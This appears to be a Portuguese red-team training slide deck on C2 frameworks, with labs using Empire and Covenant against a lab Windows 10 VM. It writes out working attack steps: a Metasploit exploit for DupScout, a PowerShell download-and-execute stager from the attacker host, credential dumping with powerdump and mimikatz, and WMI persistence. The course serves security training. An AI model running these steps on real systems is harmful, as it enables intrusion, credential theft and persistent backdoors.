Você está na página 1de 395

Comando e Controle – C2

Comando e Controle – C2
Ethical Hacking Command and Control – EHC2
WHOAMI
ü Engenheiro de Computação – IME
ü Pós-Graduação em Segurança da Informação
ü Pós-Graduação em Ciências Militares
ü Diversos Cursos em Seg Info em Instituições Internacionais - OffSec e SANS
ü SANS Mentor Instructor (desde 2014)
ü Instrutor de Defesa Cibernética e PenTest nas Forças Armadas (desde 2011)
ü Principais Certs Internacionais em Seg Info: CISSP, OSCP, OSWP, OSCE, GSEC, GCED, GPPA, GCIA,
GCIH, GCWN, GCFA, GNFA, GWAPT, GPEN, GPYC, GMOB, GDAT, GAWN, GREM, GXPN
ü Mais de 15 anos de experiência em Administração de Redes/Sistemas e Segurança da Informação
ü Participação ativa nos Grandes Eventos – Gerência e Proteção dos Sistemas de Comando e Controle
do Ministério da Defesa: Rio +20, Copa das Confederações 2013, Jornada Mundial da Juventude,
Copa do Mundo 2014, Jogos Olímpicos 2016
ü Speaker: Brazil Cyber Defense 2018, SBRC 2018, OWASP BSB 2018/2019/2020
ü “Um pouco viciado em CTF… J”
ü NetWars Champion
ü Fundador e Instrutor da GoHacking LAIOS FELIPE BARBOSA
WHOAMI
@laios_barbosa
Laios Barbosa
Agenda
• Pentesting/Red Team/Post-Exploitation
• Cyber Kill Chain
• MITRE ATT&CK
• C2 Frameworks
• Empire
• Covenant
• SilentTrinity
• Merlin
• Sliver
• Detecção e Resposta
Treinamento
As ameaças e os adversários cibernéticos estão cada vez mais
elaborados e organizados, o que implica que a defesa também precisa
evoluir. As organizações necessitam que os responsáveis pela proteção
das informações desenvolvam suas atividades com a mentalidade do
atacante. Nesse contexto, treinamentos práticos em segurança
ofensiva podem suprir essa demanda.
Treinamento
Pentesting
“Penetration testing, or pentesting, involves simulating
real attacks to assess the risk associated with
potential security breaches. On a pentest (as opposed
to a vulnerability assessment), the testers not only dis-
cover vulnerabilities that could be used by attackers
but also exploit vulnerabilities, where possible, to
assess what attackers might gain after a successful
Exploitation.”

Georgia Weidman
Pentesting
“Penetration testing, or pentesting, involves simulating
real attacks to assess the risk associated with
potential security breaches. On a pentest (as opposed
to a vulnerability assessment), the testers not only dis-
cover vulnerabilities that could be used by attackers
but also exploit vulnerabilities,
Verificação where possible,
de Vulnerabilidades: to
encontrar possíveis
falhas sem, necessariamente, explorá-las. Normalmente,
assess what attackers might
baseadogain after que
em ferramentas a successful
automatizam o processo e
geram um relatório resumido de prováveis
Exploitation.”vulnerabilidades (Ex.: Nessus, OpenVAS)

Georgia Weidman
Pentesting
“Penetration testing involves modeling the techniques
use by real-world computer attacks to find
vulnerabilities and, under controlled circumstances, to
exploit those flows in a professional, safer manner
according to a carefully designed scope and rules of
engagement to determine business risk and potential
impact all with the goal of helping organization improve
security practices”

[1] https://www.cisecurity.org/controls/cis-controls-list/
Pentesting

FASES
• Definição do Escopo (Planejamento/Regras)
• Coleta da Informações
• Enumeração
• Exploração
• Pós-Exploração
• Relatório
Pentesting

Pentest Frameworks e Metodologias

• Penetration Testing Execution Standard (PTES)


• NIST 800-115 – Technical Guide to Information Security Testing
and Assessment
• Open Source Security Testing Methodology Manual (OSSTMM)
• Open Web Application Security Project (OWASP) Testing Guide
• PCI Penetration Testing Guide
Pentesting

[1] http://www.pentest-standard.org/index.php/Main_Page
Pentesting

FASES – PTES
• Pre-engagement
• Intelligence Gathering
• Threat Modeling
• Vulnerability Analysis
• Exploitation
• Post-Exploitation
• Reporting
Pentesting

[1] https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
Pentesting

[1] https://www.isecom.org/OSSTMM.3.pdf
Pentesting

[1] https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf
Pentesting

[1] https://owasp.org/www-project-web-security-testing-guide/v41/
Cyber Kill Chain

• Termo militar “kill chain” que detalha a estrutura e fases de um


ataque (identificação do alvo, disposição do força, decisão e ordem
para o ataque, destruição do alvo)
• Foi adaptado para a Segurança da Informação pela Organização
Lockheed Martin, para criar um modelo de descrição de um ataque
cibernético
Cyber Kill Chain

[1] https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
1-RECON
2-WEAPONIZATION

1-RECON
2-WEAPONIZATION

1-RECON 3-DELIVERY
2-WEAPONIZATION

1-RECON 3-DELIVERY

4-EXPLOITATION
2-WEAPONIZATION

1-RECON 3-DELIVERY

5-INSTALLATION

4-EXPLOITATION
2-WEAPONIZATION

1-RECON 3-DELIVERY

5-INSTALLATION

4-EXPLOITATION 6-COMMAND&CONTROL
2-WEAPONIZATION

1-RECON 3-DELIVERY

5-INSTALLATION 7-ACTIONS ON
OBJECTIVES

4-EXPLOITATION 6-COMMAND&CONTROL
Cyber Kill Chain
DELL SecureWorks Kill Chain

[1] https://www.secureworks.com/resources/wp-breaking-the-kill-chain
Cyber Kill Chain
AT&T Internal Cyber Kill Chain

[1] https://www.alienvault.com/blogs/security-essentials/the-internal-cyber-kill-chain-model
MITRE
MITRE
https://cve.mitre.org/
MITRE
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK

[1] https://medium.com/mitre-attack/integrating-pre-att-ck-techniques-into-att-ck-896bfb665e01
MITRE
MITRE ATT&CK
Windows
Linux
MacOS
PRE-ATT&CK Cloud

ENTERPRISE

ATT&CK Domínios

MOBILE

[1] https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
MITRE ATT&CK
Windows
Linux
MacOS
PRE-ATT&CK Cloud

ENTERPRISE

ATT&CK MOBILE Domínios

ICS

[1] https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
MITRE ATT&CK

[1] https://medium.com/mitre-attack/2020-attack-roadmap-4820d30b38ba
MITRE ATT&CK

[1] https://attack.mitre.org/matrices/pre/
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK Navigator
https://mitre-attack.github.io/attack-navigator/enterprise/
MITRE ATT&CK
T => Techniques

TA => Tactics
MITRE ATT&CK
https://attack.mitre.org/techniques/T1210/
Descrição
Resumida

Informações Gerais
Adversários e Ferramentas
MITRE ATT&CK
https://attack.mitre.org/techniques/T1210/

Como mitigar

Como detectar
Unified Kill Chain
Mitre ATT&CK + Cyber Kill Chain

[1] https://commons.wikimedia.org/wiki/File:The_Unified_Kill_Chain.png
[2] https://www.csacademy.nl/images/scripties/2018/Paul_Pols_-_The_Unified_Kill_Chain_1.pdf
Red Team vs Blue Team
Pentesting vs Red Team Operation

Pentest Red Team


Pentesting vs Red Team Operation

• Pentesting: finalidade de testar e identificar falhas e


vulnerabilidades em sistemas, normalmente, sem a
preocupação inicial de ser detectado. Costuma gerar ruído.

• Red Team Operation: finalidade de testar a capacidade de


detecção e resposta de um organização diante de uma
ataque cibernético. Simula as atividades de uma atacante,
com a preocupação de não ser detectado (stealthy).
Pentesting vs Red Team Operation

[1] http://www.circleid.com/posts/20161128_navigating_the_pentest_world/
Pentesting vs Red Team Operation

[1] https://github.com/infosecn1nja/Red-Teaming-Toolkit
Purple Team
Purple Team

[1] https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1571757304.pdf
Pós-Exploração

• Na fase de exploração (exploitation) o pentester (ou o atacante)


consegue alguma forma de acesso à máquina ou ao sistema alvo
(shell, cmd.exe, /bin/sh, meterpreter, etc)
• Depois que se tem acesso ao alvo (vítima), o que fazer com isso ???
Podemos considerar o ataque/trabalho encerrado ???
• O conjunto de atividades executadas após o acesso inicial é o que
podemos chamar de pós-exploração (post-exploitation)
Pós-Exploração

• Utilizar o acesso inicial para coletar mais informações sobre o alvo, o


ambiente, a infra e, dessa forma, fazer uso dessas informações para
comprometer outros sistemas e ampliar o ataque
• Com a pós-exploração é possível ter um melhor entendimento do
impacto que uma falha ou vulnerabilidade pode ter no negócio
fazendo com que os riscos fiquem mais claros
Pós-Exploração
üColeta de Informações do Alvo Comprometido
üMapeamento da Rede Interna
üEscalada de Privilégios
üCaptura de Credenciais (senha em claro ou o hash)
üManutenção do Acesso (Persistência/Backdoor)
üPivotemanto
üMovimento Lateral
üComprometer outros serviços e sistemas
üEstabelecer um canal de Comando e Controle - C2
üExfiltração de Dados
Pós-Exploração
Pós-Exploração
Pós-Exploração
Pós-Exploração

OUTPUT
Pós-Exploração
Quanto tempo
um atacante pode
permanecer em
nossa organização
sem ser notado
???
Relatório M-Trends

[1] https://content.fireeye.com/m-trends/
Tempo de Detecção
Tempo de Detecção
Tempo de Detecção
Tempo de Detecção
2-WEAPONIZATION

1-RECON 3-DELIVERY

5-INSTALLATION 7-ACTIONS ON
OBJECTIVES

4-EXPLOITATION 6-COMMAND&CONTROL
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK
C2 Frameworks
C2 Frameworks
üAPFELL üNUAGES
üC3 üPOSHC2
üCALDERA üPOSHC2_PYTHON
üCOBALT STRIKE üPOWERHUB
üEMPIRE üPRISMATICA
üCOVENANT üQUASARRAT
üSILENT TRINITY üRED TEAM TOOLKIT
üFACTION C2 üREDVIPER
üFLYINGAFLASEFLAG üSCYTHE
üGODOH üMERLIN
üIBOMBSHELL üSLIVER
üINNUENDO üTHROWBACK
üKOADIC3 üTREVOR C2
üMACSHELLSWIFT üVOODOO
üEVILOSX
C2 Frameworks
üAPFELL üNUAGES
üC3 üPOSHC2
üCALDERA üPOSHC2_PYTHON
üCOBALT STRIKE üPOWERHUB
üEMPIRE üPRISMATICA
üCOVENANT üQUASARRAT
üSILENT TRINITY üRED TEAM TOOLKIT
üFACTION C2 üREDVIPER
üFLYINGAFLASEFLAG üSCYTHE
üGODOH üMERLIN
üIBOMBSHELL üSLIVER
üINNUENDO üTHROWBACK
üKOADIC3 üTREVOR C2
üMACSHELLSWIFT üVOODOO
üEVILOSX
C2 Frameworks

• Características a serem analisadas


• Comunicação Assíncrona
• Linguagem de Programação utilizada no framework
• Canal de Comunicação (protocolos)
• Beacon
• Jitter
• Agentes – quais os Sistemas Operacionais suportados
• Data de validade (kill date)
• Suporte (comunidade ativa)
• Interface de utilização (linha de comando/GUI)
C2 Frameworks

ATACANTE ALVO

Servidor Lançador

Módulos Agente
C2 Frameworks

ATACANTE ALVO

Listener Stager/Launcher

Modules Agent
C2 Frameworks
Preparação
Configuração Inicial

• Copiar as Máquinas Virtuais (VM)


• 02 (duas) VMs
• Kali 2020 e Windows 10 Pro 1909 (x64)
• O aluno pode utilizar o seu próprio KALI
• Acompanhar o PDF do treinamento
• É importante que as VMs se comuniquem via rede. Recomenda-se
utilizar “Rede NAT” ou “Rede Privada” na configuração de rede do
hypervisor
• Sugestão: Configurar as VMs com IP fixo
Configuração Inicial

• No material do treinamento, os endereços IP correspondem


aos cenários configurados nas VMs do instrutor
• Os endereços IP podem ser diferentes nas máquinas dos
alunos
• Os alunos podem manter o mesmo endereço para fins de
facilitar o acompanhamento do material
• O mais importante é que as VMs se comuniquem via rede
corretamente
Configuração Inicial
!! DICA !!
Após importar as VMs, ainda desligadas, realizar um
snapshot de todas
Exercícios e Laboratórios

• Durante o curso, teremos alguns exercícios práticos e laboratórios


• Primeiro, o instrutor passará pelos exercícios e atividades
• Depois, será disponibilizado um tempo para que o aluno repita as
atividades em sala
Preparação
• Ligar a VM do Kali Linux e se autenticar (atacante)
- Usuário: root
- Senha: gohacking
- IP Fixo: 172.16.210.200/24
• Ligar a VM do Windows 10 e se autenticar (alvo)
- Usuário: suporte
- Senha: gohacking
- IP Fixo: 172.16.210.10/24
• Os serviços a serem explorados no Windows 10 são iniciados
automaticamente
• As VMs apresentam endereços IP estáticos para facilitar a execução
dos laboratórios
Preparação
Preparação
Preparação
Windows 10
Preparação
Preparação
C2 Frameworks
Building an Empire with PowerShell
Empire

• Introdução e análise do Powershell Empire Framework


• Entender as principais funcionalidades e características da ferramenta
• Conhecer os principais componentes e módulos
• Testar, na prática, a sua utilização para as atividades de pós-exploração
• Foco em Pentest e Red Team Operations
Empire

DESCONTINUADO EM
AGOSTO DE 2019
Empire

[1] https://github.com/EmpireProject/Empire
Empire

PROJETO RESTAURADO
DEZEMBRO 2019
BC-SECURITY

[1] https://www.bc-security.org/post/the-empire-3-0-strikes-back/
Empire

[1] https://github.com/BC-SECURITY/Empire
Empire

[1] https://www.powershellempire.com/
Empire
• Post-Exploitation Framework baseado na linguagem PowerShell
• “Divisor de Águas” no cenário de Infra de C2
• 02 Componentes principais
• Servidor de Controle (listener), escrito em Python 3
• Agentes (clientes) escritos em PowerShell
• Analogia Msfconsole (servidor) e Meterpreter (agente)
• Assincronismo (Comando/Resposta)
• Derivado de outras ferramentas
• PowerSploit
• Posh-SecMod
• UnamanagedPowerShell
• PowerShell-AD-Recon
• PowerUp
• Outros ...
Empire

• Funcionalidades
• Toda comunicação entre o agente na vítima e o servidor (listener) no
atacante é cifrada
• Embora os agentes possam ser executados dentro do processo
powershell.exe, eles não precisam do powershell.exe para
desempenhar suas atividades
• O Empire possui a capacidade de injetar o agente como uma DLL
dentro de outro processo e daí extrair as funcionalidades do
PowerShell sem precisar executar o powershell.exe J
• O Empire pode se integrar com o Metasploit
Empire

• Funcionalidades
• Os agentes são configurados automaticamente, prontos para serem
utilizados
• Pode-se renomear as sessões (agentes) para facilitar a gerência
• Avisa quando um módulo ou ação não é interessante para o OpSec do
atacante
• Configura o tempo em que o agente irá funcionar
• Sair e retornar para sessão de onde parou
• C2 sobre HTTP e HTTPS – pode utilizar proxy
• Possui um banco de dados para armazenar credenciais encontradas
Empire

• Módulos
• Uma vez que o agente inicial é instalado no alvo, suas funcionalidades
podem ser estendidas por diversos módulos
• PowerBreach: implementa mecanismos de persistência
• Posh-SecMod: scanning, info gathering, descoberta de rede
• PowerSploit: execução de código, screenshot, keylogger, etc
• PowerUp: Escalada de Privilégio Local
• PowerView: varredura de contas de usuários, informações do
domínio, compartilhamentos, etc
Empire

• Categorias dos Módulos


• code_execution: injeção de payload em outro processo (sem o
powershell.exe)
• collection: screenshots, keystrokes, clipboard, coleta de dados de
navegador (browser)
• exfiltration: Simula exfiltração de dados para verificar se um Blue
Team pode detectar
• exploitation: possui alguns poucos exploits como para o Jboss,
Jenkins e o Eternalblue
• lateral_movement: ssh para outro alvo, executar psexec em outra
vítima
Empire

• Categorias dos Módulos


• management: alterar arquivos do sistema (MACB), enviar email,
injetar hashes no processo LSASS
• persistence: estabelecer persistência via chave de registro, scripts de
logon, agendamento de tarefas, boot, etc
• recon: encontrar novos alvos na rede por meio de varredura
• situational_awareness: port scan, arp scan, SMB scan, consulta
reversa de DNS, etc
• privesc: várias técnicas e procedimentos de escalada de privilégio
local
Empire

[1] https://github.com/BC-SECURITY/Empire/wiki/Quickstart
Empire
• Instalação do Empire (Kali) via Git
- Escolher um diretório (/opt)
- cd /opt
- git clone https://github.com/BC-SECURITY/Empire.git
Empire
• Instalação do Empire (Kali) via Git
- cd /opt/Empire/setup
- Como usuário “root” executar ./install.sh
Empire
• Instalação do Empire (Kali) – Troubleshooting
- Dependendo da versão do Kali e do Python, podem ocorrer alguns problemas
durante a instalação
- Instalar o pacote M2Crypto => apt install python3-m2crypto
- Executar novamente o ./install.sh
- Executar manualmente o ./setup_database.py
Empire
• Executar o Empire
- cd /opt/Empire
- ./empire
Empire

ATACANTE ALVO

Listener Stager

Módulos Agente
Lab 1
• Objetivo: testar as principais funcionalidades do framework Empire
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de
uma aplicação vulnerável (DupScout), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via Powershell
• Habilitar o agente com a execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 1

172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)
Lab 1

172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)

ESTABELECER O ACESSO INICIAL


EXPLORANDO UMA APLICAÇÃO
VULNERÁVEL
Lab 1

172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)

ESTABELECER O CANAL DE
COMANDO E CONTROLE (C2)
Lab 1
• Mapeamento dos serviços do alvo via NMAP
- nmap -T5 -sV -O 172.16.210.10
-Porta TCP 80 disponível (Serviço Web)
Lab 1
• Mapeamento dos serviços do alvo via NMAP
- nmap -T5 -A 172.16.210.10
Lab 1
• Serviço Web – Dup Scout Enterprise v10.0.18
• Verificar se existe alguma vulnerabilidade para a versão da aplicação
Lab 1
Existe um módulo de exploit no Metasploit

[1] https://www.exploit-db.com/exploits/43339
Lab 1
• No Kali, iniciar o PostgreSQL
- service postgresql start
• Iniciar o Metasploit e verificar o exploit para o DupScout 10.0.18
- msfconsole
- search dup_scout
- use exploit/windows/http/dup_scout_enterprise_login_bof
- info
Lab 1
• Vamos utilizar um arquivo customizado (dup.rc) para a exploração da
vulnerabilidade via Metasploit
• O arquivo está na VM do Kali no diretório “/root/c2”
• O resultado da exploração é um reverse shell simples
• Ponto de entrada no alvo
• Acesso inicial para as atividades de pós-exploração
Lab 1
• Execução do exploit via Mestasploit
- msfconsole -q -r /root/c2/dup.rc
• Obtenção do reverse shell
Lab 1
Reverse Shell como usuário “suporte” na máquina “win10”
Lab 1
• Troubleshooting caso a aplicação crash durante a execução do exploit
- Executar o gerenciador de serviços => services.msc
- Procurar pelo serviço “Dup Scout Enterprise”, botão direito e iniciar/reiniciar (start/restart)
- No pior caso, ou seja, aplicação instável, reiniciar a máquina
Lab 1
• Executar o Empire
- cd /opt/Empire
- ./empire
Lab 1
• Comando de ajuda
- help
-?
Lab 1
• Preparar o listener
- uselistener <TAB>
- Verificar as opções de listener

TAB
Lab 1
• Preparar o listener
- uselistener http
- Vamos utilizar um listener com o protocolo HTTP (porta TCP 80)
Lab 1
• Preparar o listener
- info
- Verificar opções de configuração do listener
Lab 1
• Para o listener, devem ser feitas algumas configurações básicas
• Configuração do Nome
- set Name HTTP1
• Configuração da porta (HTTP)
- set Port 80
• Configuração do intervalo do beacon
- set DefaultDelay 1
• Configuração da chave inicial de negociação entre agente e servidor
- set StagingKey <valor>
- O valor tem que ser o hash MD5 da chave/senha (string)
• Configuração do jitter
- set DefaultJitter <valor>
• Configuração de validade do agente
• set KillData <data>
• Configuração de credenciais de Proxy, caso necessário
Lab 1
• Configuração básica do listener
- set StagingKey <hash_md5_senha>
• Tem que ser configurado o hash MD5
Lab 1
• Configuração básica do listener
- set Name HTTP1
- set Port 80
- set DefaultDelay 1
• Iniciar o listener
- execute
Lab 1
• Verificar o listener
- main
- O comando main permite retornar para o menu inicial
- listeners
- Também pode ser executado o comando “list listeners”
Lab 1
O Empire, por padrão, simula um servidor web IIS da Microsoft
Lab 1
• Preparar o lançador (launcher ou stager)
- back
- O comando back permite voltar para o menu anterior ou inicial
- usestager <TAB>
- Verificar as opções dos lançadores

TAB
Lab 1
• Selecionar um lançador
- usestager multi/laucher
- info
Lab 1
• Configurar e gerar o lançador
- set Listener HTTP1
- generate
- Será gerado um comando em Powershell, levemente ofuscado (base64), que
deve ser executado no alvo para se criar o agente
Lab 1
• Como executar o lançador (stager) ?
• É possível executar o comando direto do reverse shell que representa
o nosso ponto de entrada (copy and paste). Contudo, podemos ter
alguns resultados inexperados ...
• Outra forma é colocar o comando em um arquivo, como um script em
Powershell, e fazer a chamada a esse arquivo
• Esse arquivo, deve ficar disponível num servidor web, sob o controle
do atacante
• Vamos fazer uso do comando Invoke-Expression do Powershell
Lab 1

[1] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7
Lab 1

• O cmdlet Invoke-Expression (iex – forma reduzida) interpreta e executa


uma determinada string como um comando
• O Invoke-Expression juntamente com outro comando do Powershell,
(New-Object Net.WebClient).DownloadString, é possível baixar,
importar e executar scripts/malwares, tudo em memória (fileless), ou
seja, sem tocar no HD
• O objetivo é chamar e executar, de forma confiável, o lançador gerado
pelo Empire
Lab 1
• Copiar o conteúdo do stager para o arquivo “fig.jpg”
• Disponibilizar via servidor web do python
- python3 -m http.server 8080
Lab 1
Executar o stager e habilitar o agente
powershell -nop -exe bypass -win 1 iex(new-object net.webclient).downloadstring('http://172.16.210.200:8080/fig.jpg')

Indicação de que o
agente foi habilitado
Lab 1
• O agente estabelece conexão com o sevidor de C2
- agents OU list agents
Lab 1
Interagir com o agent => interact <nome_do_agente>

Utilizar TAB para completar o nome do agente

Intervalo de comunicação entre o agente e o servidor (beacon)


Lab 1
• Percebe-se que no nome do usuário (Username) temos um * no início
• Isso indica que o usuário tem privilégios elevados (high integrity level)
• Especificamente, nesse caso, temos um acesso privilegiado, o que nos
permitirá executar mais módulos e comandos do framework
Lab 1
• Verificar os comandos disponíveis
- help
Lab 1
• Podemos renomear o agente para facilitar a identificação
- rename <novo_nome>
Lab 1
• Verificar algumas características do agente
- whoami
- sysinfo

Nome do usuário, nome da máquina,


tipo do S.O, nível de privilégio,
processo do agente
Lab 1
• Executar comandos do sistema operacional do alvo
- shell <comando>
Lab 1
• Verificar os módulos disponíveis
- usemodule <TAB>

TAB
Lab 1
• Selecionar o módulo “winenum”
- usemodule situational_awareness/host/winenum

Esse módulo não precisa de acesso


privilegiado para ser executado
(NeedsAdmin False) e é considerado
OpSec Safe, ou seja, não chama a
atenção de quem está monitorando
a rede e o alvo (não deixa rastro)
Lab 1
• Executar o módulo “winenum”
- run OU execute
Lab 1
• Selecionar o módulo “powerdump” – extração de hashes
- usemodule credentials/powerdump*

Esse módulo requer um


usuário privilegiado para ser
executado
Lab 1
• Executar o módulo “powerdump” – extração de hashes
- execute

JJJJJ
Lab 1
Persistência – Backdoor
Lab 1

[1] https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
Lab 1
• Mecanismos de persistência (existem diversos)
• O WMI já faz parte do Sistema Operacional Windows
• O WMI pode ser utilizado para criar formas de persistência
• Persistência via subscrição de eventos WMI
• Esses eventos, normalmente, trabalham com 03 classes:
- __EventFilter (trigger, é o gatilho que vai acionar o evento)
- EventConsumer (executar a ação, nesse caso, um payload)
- __FiltertoConsumerBinding (relaciona as classes de Filter e Consumer)
• IMPORTANTE: Eventos WMI executam como usuário SYSTEM,
persistem após o reboot e precisam de privilégio elevado para serem
configurados
Lab 1
• Procurar por módulos relacionados a WMI
- searchmodule wmi
Lab 1
• Selecionar o módulo “persistence/elevated/wmi*”
- usemodule persistence/elevated/wmi
Lab 1
• Opções do módulo “persistence/elevated/wmi*”
- info
Lab 1
• Configurar e executar o módulo
- set Listener HTTP1
- set AtStartup True
- run
Lab 1
• Matar o agente e reiniciar o Windows 10 para verificar a persistência
- agents
- kill <nome_do_agente> OU kill all
Lab 1
Reiniciar o Windows e aguardar 5 minutos
Lab 1
Esse módulo costuma retornar 02 (dois) agentes como SYSTEM
Lab 1
Matar um dos agentes e renomear o primeiro
Lab 1

[1] https://github.com/gentilkiwi/mimikatz
Lab 1
• Executar o módulo do Mimikatz para extrair credencias da memória
- mimikatz
Lab 1
• Verificar credenciais armazenadas/salvas
- creds
Lab 1
• Para remover a persistência
• Verificar o evento cadastrado via Powershell Get-WMIObject
• No Windows, executar o Powershell como Administrador
• Event Filter
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter
"Name='Updater'”
• Event Consumer
- Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -
Filter "Name='Updater'”
• Binding
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -
Filter "__Path LIKE '%Updater%'”
Lab 1
Verificando o evento WMI malicioso
Lab 1
Verificando o evento WMI malicioso
Lab 1
• Para remover a persistência
• Remover o evento cadastrado via Powershell Remove-WMIObject
• No Windows, executar o Powershell como Administrador
• Event Filter
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter
"Name='Updater'" | Remove-WmiObject –Verbose
• Event Consumer
- Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -
Filter "Name='Updater'" | Remove-WmiObject –Verbose
• Binding
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -
Filter "__Path LIKE '%Updater%'" | Remove-WmiObject -Verbose
Lab 1
Remover o evento WMI malicioso
Lab 1
Interface Gráfica – Starkiller
Lab 1
Interface Gráfica – Starkiller

[1] https://github.com/BC-SECURITY/Starkiller
Lab 1
Interface Gráfica – Starkiller

[1] https://www.bc-security.org/post/an-introduction-to-starkiller/
Lab 1
• Download da versão mais atualizada do executável – starkiller-1.2.2.AppImage
- wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.2.2/starkiller-
1.2.2.AppImage
Lab 1
• Configurar o Empire para utilizar o Starkiller
- ./empire --rest --username admin --password gohacking
- Por padrão, a API do Empire escuta na porta TCP 1337
Lab 1
• Iniciar o starkiller
- chmod 755 starkiller-1.2.2.AppImage
- ./starkiller-1.2.2.AppImage --no-sandbox
Lab 1
• Iniciar o starkiller
- Name => localhost:1337
- Username => admin
- Password => gohacking
Avaliação – Empire

• Vantagens
- Gratuito
- Ferramenta intuitiva e consagrada na área de C2
- Fácil instalação e configuração
- Multiusuário
- Vem sendo mantida ativamente pela comunidade
- Possui interface por linha de comando e interface gráfica
- É possível configurar tempo de validade do agente
- É possível configurar jitter
- Utiliza um canal cifrado de comunicação
- Possui agente para todos os principais Sistemas Operacionais
- Apresenta uma grande variedade de módulos e comandos
Avaliação – Empire

• Desvantagens
- Por ser muito conhecida é bastante visada pelas soluções de defesa
- Muitos AV já criaram assinaturas para os payloads do Empire
- Depende muito de Powershell para a plataforma Windows
- Utiliza apenas 02 protocolos de comunicação (HTTP e HTTPS)
C2 Frameworks
Covenant
Convenant

• Introdução e análise do framework Covenant


• Entender as principais funcionalidades e características da ferramenta
• Conhecer os principais componentes e módulos
• Testar, na prática, a sua utilização para as atividades de pós-exploração
• Foco em Pentest e Red Team Operations
Covenant

[1] https://github.com/cobbr/Covenant
Covenant

• Ferramenta de C2 desenvolvido em C#
• Pode-se utilizar o .NET Core, o que permite que a ferramenta
seja multiplataforma
• Possui uma interface web de gerência intuitiva e colaborativa,
criada para facilitar as atividades de Red Team
Covenant
Instalação do Covenant via Docker

[1] https://vdalabs.com/2019/04/09/docker-for-hackers-from-apt-install-docker-ce-to-pwn-in-10-minutes-or-less/
Covenant
Instalação do Docker no Kali

[1] https://vdalabs.com/2019/04/09/docker-for-hackers-from-apt-install-docker-ce-to-pwn-in-10-minutes-or-less/
Covenant
Instalação do Covenant via Docker

[1] https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
Convenant
• Instalação do Covenant via Docker
- cd /opt
- git clone --recurse-submodules https://github.com/cobbr/Covenant
Convenant
• Instalação do Covenant via Docker
- cd /opt/Covenant/Covenant
- service docker start
- docker build -t covenant .
Convenant
Instalação do Covenant via Docker

https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
Lab 2
• Objetivo: testar as principais funcionalidades do framework Convenant
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload meterpreter do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via DLL
• Habilitar o agente com a execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 2

[1] https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
Lab 2
• Diferente do cenário anterior, vamos utilizar, no acesso inicial, o
Metasploit com o payload meterpreter
• Como meterpreter, termos a capacidade de migrar para um processo
x64 mais estával no sistema alvo
• Nesse caso, quando o exploit é executado, o meterpreter se insere no
espaço de memória da aplicação vulnerável, ou seja, o processo
dupscts.exe, que é um software de 32bits
• Vamos migrar para o explorer.exe do usuário suporte, com o objetivo
de ter uma sessão mais estável
• Nesse processo, teremos uma sessão mais confiável, porém com
menos privilégios
Lab 2
No Kali, temos o arquivo met.rc na pasta “/root/c2” para a execução do
exploit via Metasploit
Lab 2
• Estabelecimento da sessão inicial do meterpreter
- msfconsole -q -r c2/met.rc
Lab 2
• Estabelecimento da sessão inicial do meterpreter
- msfconsole -q -r c2/met.rc
Lab 2
• Habilitar todos os privilégios possíveis da sessão
- getprivs
Lab 2
• Verificar o PID atual da sessão (dupscts.exe)
- getpid
- ps -S dup
Lab 2
• Migrar para o explorer.exe (x64) e habilitar os privilégios possíveis
- ps -S exp
- migrate <PID_do_Explorer>
- getprivs
Lab 2
• Habilitar os privilégios da sessão
- getprivs
- sysinfo

Sessão mais estável, porém com


menos privilégios
Lab 2
• Habilitar o serviço do Docker
- service docker start
- service docker status
Lab 2
• Verificar a configuração de rede do Docker (docker0)
- ifconfig
Lab 2
Iniciar o container do Covenant

docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username admin --computername 0.0.0.0

Vai ser solicitada uma senha que servirá para acessar a interface web
de gerência do servidor de C2 com o usuário admin
Lab 2
Iniciar o container do Covenant

docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username admin --computername 0.0.0.0

A interface de gerência web fica habilitada na porta TCP 7443 (HTTPS)


Lab 2
Interface Web – https://localhost:7443

admin
<senha>
Lab 2
Interface Web – https://localhost:7443
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)

IP da interface do Docker (docker0)


Alterar para o IP da interface física do Kali (eth0)

É possível utilizar HTTPS


Lab 2
